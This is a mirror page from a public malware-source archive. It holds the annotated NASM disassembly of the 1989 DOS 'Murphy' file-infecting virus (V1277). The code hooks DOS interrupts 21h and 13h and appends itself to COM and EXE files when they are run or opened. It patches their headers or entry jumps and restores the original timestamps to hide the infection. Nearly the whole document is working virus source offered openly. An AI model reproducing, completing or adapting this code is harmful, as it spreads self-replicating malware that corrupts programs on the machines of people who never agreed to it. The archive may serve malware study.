mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
674 lines
11 KiB
NASM
674 lines
11 KiB
NASM
|
|
|
|
|
|
L0100: JMP L08D0
|
|
MOV AH,09H
|
|
MOV DX,010CH
|
|
INT 21H
|
|
|
|
L010A: INT 20H
|
|
|
|
L010C: DB 'Murphy virus V1.00 (V1277)$'
|
|
DB 1961 DUP (1)
|
|
|
|
L08D0: JMP L0C51
|
|
|
|
NOP ; \
|
|
NOP ; \
|
|
NOP ; \
|
|
L08D6: MOV AH,09H ; \
|
|
MOV DX,010CH ; > ORIGINAL 24 BYTES
|
|
INT 21H ; /
|
|
L08DD: INT 20H ; /
|
|
; /
|
|
L08DF: DB 'Murphy virus' ; /
|
|
|
|
L08EB: DW 2 DUP(0000H)
|
|
MOV WORD PTR [DI],0040H ;DB 0C7H,25H,40H,00H
|
|
AND [BX+SI],AX ;DB 21H,00H
|
|
JNO L08F7 ;DB 71H,00H
|
|
L08F7: XOR AL,[BX+DI] ;DB 32H,01H
|
|
MOV CH,02H ;DB 0B5H,02H
|
|
TEST AL,0CH ;DB 0A8H,0CH
|
|
PUSH SI ;DB 56H
|
|
ADD AX,0AF9H ;DB 05H,0F9H,0AH
|
|
EXTRN L3BC8H_0001H:FAR
|
|
JMP L3BC8H_0001H ;DB 0EAH,01H,00H,0C8H,3BH
|
|
ADD CH,[BX+SI+200CH]
|
|
|
|
L090A: DB 'Hello, I'm Murphy. Nice to meet you friend. '
|
|
DB 'I'm written since Nov/Dec.'
|
|
DB ' Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. '
|
|
|
|
; ******** INT21 DRIVER ********
|
|
|
|
CALL L0C1B ; SOUND SHOW
|
|
|
|
CMP AX,4B59H ; SPECIAL FUNCTION ?
|
|
JNE L099A
|
|
|
|
PUSH BP ; \
|
|
MOV BP,SP ; \
|
|
AND WORD PTR [BP+06H],-02H ; > FLAG C = 0
|
|
POP BP ; /
|
|
IRET ; /
|
|
|
|
L099A: CMP AH,4BH ; EXEC PROGRAM ?
|
|
JE L09B1
|
|
|
|
CMP AX,3D00H ; OPEN FILE ?
|
|
JE L09B1
|
|
|
|
CMP AX,6C00H ; OPEN FILE ( MS DOS v4.xx )
|
|
JNE L09AE
|
|
CMP BL,00H
|
|
JE L09B1
|
|
|
|
L09AE: JMP L0A56 ; NO. ORIGINAL INT21
|
|
|
|
L09B1: PUSH ES ; \
|
|
PUSH DS ; > SAVE REGISTERS
|
|
L09B3: DB 'WVURQSP' ; /
|
|
|
|
CALL L0B86 ; SET NEW INT24 & INT13
|
|
|
|
CMP AX,6C00H ; \
|
|
JNE L09C4 ; > MS DOS v4.xx NAME -> DS:SI
|
|
MOV DX,SI ; /
|
|
|
|
L09C4: MOV CX,0080H
|
|
|
|
MOV SI,DX ; \
|
|
L09C9: INC SI ; \
|
|
MOV AL,[SI] ; > SEARCH EXTENSION
|
|
OR AL,AL ; /
|
|
LOOPNZ L09C9 ; /
|
|
|
|
SUB SI,+02H
|
|
|
|
CMP WORD PTR [SI],4D4FH ; 'OM' ?
|
|
JE L09EB
|
|
|
|
CMP WORD PTR [SI],4558H ; 'XE' ?
|
|
JE L09E2
|
|
|
|
L09DF: JMP SHORT L0A4A
|
|
|
|
NOP
|
|
L09E2: CMP WORD PTR [SI-02H],452EH ; '.C' ?
|
|
JE L09F2
|
|
|
|
JMP SHORT L09DF
|
|
|
|
L09EB: CMP WORD PTR [SI-02H],432EH ; '.E' ?
|
|
JNE L09DF
|
|
|
|
L09F2: MOV AX,3D02H ; OPEN FILE
|
|
CALL L0B7F
|
|
JB L0A4A
|
|
|
|
MOV BX,AX
|
|
|
|
MOV AX,5700H ; GET DATE & TIME
|
|
CALL L0B7F
|
|
|
|
MOV CS:[0121H],CX ; SAVE DATE & TIME
|
|
MOV CS:[0123H],DX
|
|
|
|
MOV AX,4200H ; MOVE 'FP' TO BEGIN FILE ???
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
CALL L0B7F
|
|
|
|
PUSH CS ; MY SEGMENT
|
|
POP DS
|
|
|
|
MOV DX,0103H ; READ ORIGINAL 24 BYTES
|
|
MOV SI,DX
|
|
MOV CX,0018H
|
|
MOV AH,3FH
|
|
CALL L0B7F
|
|
JB L0A35
|
|
|
|
CMP WORD PTR [SI],5A4DH ; 'EXE' FILE ?
|
|
JNE L0A32
|
|
|
|
CALL L0A5B ; INFECT 'EXE' FILE
|
|
JMP SHORT L0A35
|
|
|
|
L0A32: CALL L0B2B ; INFECT 'COM' FILE
|
|
|
|
L0A35: MOV AX,5701H ; SET ORIGINAL DATE & TIME
|
|
MOV CX,CS:[0121H]
|
|
MOV DX,CS:[0123H]
|
|
CALL L0B7F
|
|
|
|
MOV AH,3EH ; CLOSE FILE
|
|
|
|
CALL L0B7F ; RESTORE INT13 & INT24
|
|
|
|
L0A4A: CALL L0BC3
|
|
|
|
L0A4D: DB 'X[YZ]^_' ; RESTORE REGISTERS
|
|
POP DS
|
|
POP ES
|
|
|
|
L0A56: JMP DWORD PTR CS:[0129H] ; ORIGINAL INT21
|
|
|
|
; ******** INFECT 'EXE' PROGRAM ********
|
|
|
|
L0A5B: MOV CX,[SI+16H] ; CS SEGMENT
|
|
|
|
ADD CX,[SI+08H] ; + HEADER SIZE
|
|
|
|
MOV AX,0010H ; PARA -> BYTES
|
|
MUL CX
|
|
|
|
ADD AX,[SI+14H] ; DX:AX = START FILE
|
|
ADC DX,+00H
|
|
|
|
PUSH DX ; SAVE START FILE OFFSET
|
|
PUSH AX
|
|
|
|
MOV AX,4202H ; MOVE FP TO END FILE
|
|
XOR CX,CX ; (GET FILE SIZE)
|
|
XOR DX,DX
|
|
CALL L0B7F
|
|
|
|
CMP DX,+00H ; SIZE < 1277 ???
|
|
JNE L0A88
|
|
CMP AX,04FDH
|
|
NOP
|
|
JNB L0A88
|
|
|
|
POP AX ; QUIT
|
|
POP DX
|
|
JMP L0B0D
|
|
|
|
L0A88: MOV DI,AX ; SAVE FILE SIZE
|
|
MOV BP,DX
|
|
|
|
POP CX ; CALC CODE SIZE
|
|
SUB AX,CX
|
|
POP CX
|
|
SBB DX,CX
|
|
|
|
CMP WORD PTR [SI+0CH],+00H ; HIGH FILE ?
|
|
JE L0B0D
|
|
|
|
CMP DX,+00H ; CODE SIZE = 1277
|
|
JNE L0AA3
|
|
CMP AX,04FDH
|
|
NOP
|
|
JE L0B0D
|
|
|
|
L0AA3: MOV DX,BP ; FILE SIZE
|
|
MOV AX,DI
|
|
|
|
PUSH DX ; SAVE FILE SIZE
|
|
PUSH AX
|
|
|
|
ADD AX,04FDH ; CALC NEW FILE SIZE
|
|
NOP
|
|
ADC DX,+00H
|
|
|
|
MOV CX,0200H ; CALC FILE SIZE FOR HEADER
|
|
DIV CX
|
|
|
|
LES DI,DWORD PTR [SI+02H] ; SAVE OLD CODE SIZE
|
|
MOV CS:[0125H],DI
|
|
MOV CS:[0127H],ES
|
|
|
|
MOV [SI+02H],DX ; SAVE NEW CODE SIZE
|
|
CMP DX,+00H
|
|
JE L0ACB
|
|
INC AX
|
|
L0ACB: MOV [SI+04H],AX
|
|
|
|
POP AX ; RESTORE ORIGINAL FILE SIZE
|
|
POP DX
|
|
|
|
CALL L0B0E ; ???
|
|
|
|
SUB AX,[SI+08H]
|
|
|
|
LES DI,DWORD PTR [SI+14H] ; SAVE OLD CS:IP
|
|
MOV DS:[011BH],DI
|
|
MOV DS:[011DH],ES
|
|
|
|
MOV [SI+14H],DX ; SET NEW CS:IP
|
|
MOV [SI+16H],AX
|
|
|
|
MOV WORD PTR DS:[011FH],AX ; SAVE OFFSET
|
|
|
|
MOV AX,4202H ; MOVE FP TO END FILE
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
CALL L0B7F
|
|
|
|
CALL L0B1F ; WRITE CODE
|
|
JB L0B0D
|
|
|
|
MOV AX,4200H ; MOVE FP TO BEGIN FILE
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
CALL L0B7F
|
|
|
|
MOV AH,40H ; WRITE HEADER
|
|
MOV DX,SI
|
|
MOV CX,0018H
|
|
CALL L0B7F
|
|
|
|
L0B0D: RET
|
|
|
|
L0B0E: MOV CX,0004H ; ???
|
|
MOV DI,AX
|
|
AND DI,+0FH
|
|
L0B16: SHR DX,1
|
|
RCR AX,1
|
|
LOOP L0B16
|
|
MOV DX,DI
|
|
RET
|
|
|
|
L0B1F: MOV AH,40H ; WRITE VIRUS CODE
|
|
MOV CX,04FDH ; SIZE = 1277
|
|
NOP
|
|
MOV DX,0100H
|
|
JMP SHORT L0B7F
|
|
NOP
|
|
|
|
|
|
; ******** INFECT 'COM' PROGRAM ********
|
|
|
|
L0B2B: MOV AX,4202H ; MOVE FP TO END FILE
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
CALL L0B7F
|
|
|
|
CMP AX,04FDH ; FILE SIZE < 1277 ?
|
|
NOP
|
|
JB L0B7E
|
|
|
|
CMP AX,0FAE2H ; FILE SIZE > 64226
|
|
NOP
|
|
JNB L0B7E
|
|
|
|
PUSH AX ; SAVE SIZE
|
|
|
|
CMP BYTE PTR [SI],0E9H ; 'JUMP' CODE ?
|
|
JNE L0B53
|
|
|
|
SUB AX,0500H ; CALC OFFSET FOR VIRUS
|
|
NOP
|
|
|
|
CMP AX,[SI+01H] ; FILE IS INFECTET ?
|
|
JNE L0B53
|
|
|
|
POP AX
|
|
JMP SHORT L0B7E
|
|
|
|
L0B53: CALL L0B1F ; WRITE VIRUS CODE
|
|
JNB L0B5B
|
|
|
|
POP AX ; ERROR
|
|
JMP SHORT L0B7E
|
|
|
|
L0B5B: MOV AX,4200H ; MOVE FP TO BEGIN FILE
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
CALL L0B7F
|
|
|
|
POP AX ; CALC OFFSET FOR JUMP
|
|
SUB AX,0003H
|
|
|
|
MOV DX,011BH ; DATA ARREA
|
|
MOV SI,DX
|
|
|
|
MOV BYTE PTR CS:[SI],0E9H ; SAVE JUMP CODE TO ARREA
|
|
MOV CS:[SI+01H],AX
|
|
|
|
MOV AH,40H ; WRITE FIRST 3 BYTES
|
|
MOV CX,0003H
|
|
CALL L0B7F
|
|
|
|
L0B7E: RET
|
|
|
|
|
|
; ******** VIRUS INT21 ********
|
|
|
|
L0B7F: PUSHF
|
|
CALL DWORD PTR CS:[0129H]
|
|
RET
|
|
|
|
; ******** SET NEW INT24 & INT13 ********
|
|
|
|
L0B86: PUSH AX ; SAVE REGISTERS
|
|
PUSH DS
|
|
PUSH ES
|
|
|
|
XOR AX,AX ; SEGMENT AT VECTOR TABLE
|
|
PUSH AX
|
|
POP DS
|
|
|
|
CLI
|
|
|
|
LES AX,DWORD PTR DS:[0090H] ; \
|
|
MOV WORD PTR CS:[012DH],AX ; > GET ADDRES INT24
|
|
MOV CS:[012FH],ES ; /
|
|
|
|
MOV AX,0418H ; \
|
|
MOV WORD PTR DS:[0090H],AX ; > SET NEW INT24
|
|
MOV DS:[0092H],CS ; /
|
|
|
|
LES AX,DWORD PTR DS:[004CH] ; \
|
|
MOV WORD PTR CS:[0135H],AX ; > GET ADDRES INT13
|
|
MOV CS:[0137H],ES ; /
|
|
|
|
LES AX,DWORD PTR CS:[0131H] ; \
|
|
MOV WORD PTR DS:[004CH],AX ; > SET NEW INT13
|
|
MOV DS:[004EH],ES ; /
|
|
|
|
STI
|
|
|
|
POP ES ; RESTORE REGISTERS
|
|
POP DS
|
|
POP AX
|
|
RET
|
|
|
|
; ******** RESTORE INT24 & INT13 ********
|
|
|
|
L0BC3: PUSH AX
|
|
PUSH DS
|
|
PUSH ES
|
|
XOR AX,AX
|
|
PUSH AX
|
|
POP DS
|
|
|
|
CLI
|
|
|
|
LES AX,DWORD PTR CS:[012DH] ; \
|
|
MOV WORD PTR DS:[0090H],AX ; > RESTORE INT24
|
|
MOV DS:[0092H],ES ; /
|
|
|
|
LES AX,DWORD PTR CS:[0135H] ; \
|
|
MOV WORD PTR DS:[004CH],AX ; > RESTORE INT13
|
|
MOV DS:[004EH],ES ; /
|
|
|
|
STI
|
|
|
|
POP ES
|
|
POP DS
|
|
POP AX
|
|
RET
|
|
|
|
|
|
; ******** INT13 DRIVER ********
|
|
|
|
L0BE8: TEST AH,80H ; HARD DISK ?
|
|
JE L0BF2
|
|
|
|
JMP DWORD PTR CS:[012DH] ; YES.
|
|
|
|
L0BF2: ADD SP,+06H ; POP REGISTERS
|
|
L0BF5: DB 'X[YZ^_]'
|
|
POP DS
|
|
POP ES
|
|
PUSH BP
|
|
MOV BP,SP
|
|
OR WORD PTR [BP+06H],+01H ; FLAG C=1
|
|
POP BP
|
|
IRET
|
|
|
|
|
|
; ******** SOUOND DRIVER *********
|
|
|
|
L0C07: MOV AL,0B6H
|
|
OUT 43H,AL
|
|
MOV AX,0064H
|
|
OUT 42H,AL
|
|
MOV AL,AH
|
|
OUT 42H,AL
|
|
IN AL,61H
|
|
OR AL,03H
|
|
OUT 61H,AL
|
|
RET
|
|
|
|
|
|
; ******** SHOW DRIVER ********
|
|
|
|
L0C1B: PUSH AX ; SAVE REGISTERS
|
|
PUSH CX
|
|
PUSH DX
|
|
PUSH DS
|
|
|
|
XOR AX,AX ; DOS ARREA SEGMENT
|
|
PUSH AX
|
|
POP DS
|
|
|
|
MOV AX,WORD PTR DS:[046CH] ; GET TIME
|
|
MOV DX,DS:[046EH]
|
|
|
|
MOV CX,0FFFFH ; DIVIDE BY 65535
|
|
DIV CX ; 1 HOUR - 65535 TICKS
|
|
|
|
CMP AX,000AH ; TEN HOUR ?
|
|
JNE L0C37
|
|
|
|
CALL L0C07 ; SHOW
|
|
|
|
L0C37: POP DS ; RESTORE REGISTERS
|
|
POP DX
|
|
POP CX
|
|
POP AX
|
|
RET
|
|
|
|
L0C3C: MOV DX,0010H ; DX:AX = AX * 16
|
|
MUL DX
|
|
RET
|
|
|
|
|
|
; CLEAR REGISTERS ????
|
|
|
|
L0C42: XOR AX,AX
|
|
XOR BX,BX
|
|
XOR CX,CX
|
|
XOR DX,DX
|
|
XOR SI,SI
|
|
XOR DI,DI
|
|
XOR BP,BP
|
|
RET
|
|
|
|
L0C51: PUSH DS
|
|
|
|
CALL L0C55 ; PUSH ADDRES
|
|
|
|
L0C55: MOV AX,4B59H ; I'M IN MEMORY ?
|
|
INT 21H
|
|
L0C5A: JB L0C5F ; NO. INSERT CODE
|
|
|
|
JMP L0D87 ; START FILE
|
|
|
|
L0C5F: POP SI ; POP MY ADDRESS
|
|
PUSH SI
|
|
|
|
MOV DI,SI
|
|
|
|
XOR AX,AX ; DS = VECTOR TABLE SEGMENT
|
|
PUSH AX
|
|
POP DS
|
|
|
|
LES AX,DWORD PTR DS:[004CH] ; GET INT13 ADDRESS
|
|
MOV CS:[SI+0FCACH],AX
|
|
MOV CS:[SI+0FCAEH],ES
|
|
|
|
LES BX,DWORD PTR DS:[0084H] ; GET INT21 ADDRESS
|
|
MOV CS:[DI+0FCA4H],BX
|
|
MOV CS:[DI+0FCA6H],ES
|
|
|
|
MOV AX,WORD PTR DS:[0102H] ; SEGMENT OF INT40
|
|
CMP AX,0F000H ; IN ROM BIOS ?
|
|
JNE L0CF4 ; NO. NOT HARD DISK IN SYSTEM
|
|
|
|
MOV DL,80H
|
|
|
|
MOV AX,WORD PTR DS:[0106H] ; SEGMENT OF INT41
|
|
|
|
CMP AX,0F000H ; ROM BIOS ?
|
|
JE L0CB1
|
|
|
|
CMP AH,0C8H ; < ROM EXTERNAL ARREA
|
|
JB L0CF4
|
|
|
|
CMP AH,0F4H ; > ROM EXTERNAL ARREA
|
|
JNB L0CF4
|
|
|
|
TEST AL,7FH
|
|
JNE L0CF4
|
|
|
|
MOV DS,AX
|
|
|
|
CMP WORD PTR DS:[0000H],0AA55H ; BEGIN ROM MODUL ?
|
|
JNE L0CF4
|
|
|
|
MOV DL,DS:[0002H] ; SCANING FOR ORIGINAL INT13
|
|
L0CB1: MOV DS,AX ; ADDRESS
|
|
XOR DH,DH
|
|
MOV CL,09H
|
|
SHL DX,CL
|
|
MOV CX,DX
|
|
XOR SI,SI
|
|
L0CBD: LODSW
|
|
CMP AX,0FA80H
|
|
JNE L0CCB
|
|
LODSW
|
|
CMP AX,7380H
|
|
JE L0CD6
|
|
JNE L0CE0
|
|
L0CCB: CMP AX,0C2F6H
|
|
JNE L0CE2
|
|
LODSW
|
|
CMP AX,7580H
|
|
JNE L0CE0
|
|
L0CD6: INC SI
|
|
LODSW
|
|
CMP AX,40CDH
|
|
JE L0CE7
|
|
SUB SI,+03H
|
|
L0CE0: DEC SI
|
|
DEC SI
|
|
L0CE2: DEC SI
|
|
LOOP L0CBD
|
|
JMP SHORT L0CF4
|
|
L0CE7: SUB SI,+07H
|
|
MOV CS:[DI+0FCACH],SI
|
|
MOV CS:[DI+0FCAEH],DS
|
|
|
|
L0CF4: MOV AH,62H ; TAKE 'PSP' SEGMENT
|
|
INT 21H
|
|
|
|
L0CF8: MOV ES,BX ; FREE MY BLOCK
|
|
MOV AH,49H
|
|
INT 21H
|
|
|
|
L0CFE: MOV BX,0FFFFH ; GET BLOCK SIZE
|
|
MOV AH,48H
|
|
INT 21H
|
|
|
|
L0D05: SUB BX,0051H ; FREE SPACE ?
|
|
JB L0D87
|
|
|
|
MOV CX,ES ; CALC NEW BLOCK SIZE
|
|
STC
|
|
ADC CX,BX
|
|
|
|
MOV AH,4AH ; SET NEW SIZE
|
|
INT 21H
|
|
|
|
L0D14: MOV BX,0050H
|
|
NOP
|
|
STC
|
|
SBB ES:[0002H],BX
|
|
PUSH ES
|
|
MOV ES,CX
|
|
MOV AH,4AH
|
|
INT 21H
|
|
|
|
L0D25: MOV AX,ES
|
|
DEC AX
|
|
MOV DS,AX
|
|
MOV WORD PTR DS:[0001H],0008H
|
|
CALL L0C3C
|
|
MOV BX,AX
|
|
MOV CX,DX
|
|
POP DS
|
|
MOV AX,DS
|
|
CALL L0C3C
|
|
ADD AX,DS:[0006H]
|
|
ADC DX,+00H
|
|
SUB AX,BX
|
|
SBB DX,CX
|
|
JB L0D4E
|
|
SUB DS:[0006H],AX
|
|
L0D4E: MOV SI,DI
|
|
XOR DI,DI
|
|
PUSH CS
|
|
POP DS
|
|
SUB SI,0385H
|
|
MOV CX,04FDH
|
|
NOP
|
|
INC CX
|
|
REPZ MOVSB
|
|
MOV AH,62H
|
|
INT 21H
|
|
|
|
L0D63: DEC BX
|
|
MOV DS,BX
|
|
MOV BYTE PTR DS:[0000H],5AH
|
|
MOV DX,01B9H
|
|
XOR AX,AX
|
|
PUSH AX
|
|
POP DS
|
|
MOV AX,ES
|
|
SUB AX,0010H
|
|
MOV ES,AX
|
|
CLI
|
|
MOV DS:[0084H],DX
|
|
MOV DS:[0086H],ES
|
|
STI
|
|
DEC BYTE PTR DS:[047BH]
|
|
L0D87: POP SI
|
|
CMP WORD PTR CS:[SI+0FC7EH],5A4DH
|
|
JNE L0DAE
|
|
POP DS
|
|
MOV AX,CS:[SI+0FC9AH]
|
|
MOV BX,CS:[SI+0FC98H]
|
|
PUSH CS
|
|
POP CX
|
|
SUB CX,AX
|
|
ADD CX,BX
|
|
PUSH CX
|
|
PUSH WORD PTR CS:[SI+0FC96H]
|
|
PUSH DS
|
|
POP ES
|
|
CALL L0C42
|
|
RETF
|
|
|
|
L0DAE: POP AX
|
|
MOV AX,CS:[SI+0FC7EH]
|
|
MOV WORD PTR CS:[0100H],AX
|
|
MOV AX,CS:[SI+0FC80H]
|
|
MOV WORD PTR CS:[0102H],AX
|
|
MOV AX,0100H
|
|
PUSH AX
|
|
PUSH CS
|
|
POP DS
|
|
PUSH DS
|
|
POP ES
|
|
CALL L0C42
|
|
RET
|
|
|
|
L0DCD: DW 0000H
|
|
|
|
|
|
|